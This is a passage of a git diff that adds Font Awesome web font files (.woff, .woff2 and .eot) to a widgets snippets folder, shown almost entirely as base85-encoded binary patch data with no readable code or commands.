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 literal 0 HcmV?d00001 diff --git a/pages/widgets/_snippets/public/fonts/fa-regular-400.woff2 b/pages/widgets/_snippets/public/fonts/fa-regular-400.woff2 new file mode 100644 index 0000000000000000000000000000000000000000..7e0118e526eb53511cb57e7cfaf515784fee4345 GIT binary patch literal 13584 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 W8!VVrwhAGt$p&j$lnnbyiU9!e_&Ztv literal 0 HcmV?d00001 diff --git a/pages/widgets/_snippets/public/fonts/fa-solid-900.eot b/pages/widgets/_snippets/public/fonts/fa-solid-900.eot new file mode 100644 index 0000000000000000000000000000000000000000..d3b77c223afc9a0a1af914936219da2b001a010f GIT binary patch literal 202902 zcmeFadth8u)i=EMnai2WnKLt)Tke_M(zym>X+-W8nSTaK|L@_1i~``H1X-wO>C)a)KeuP@>12tlL1^(QOHN)& 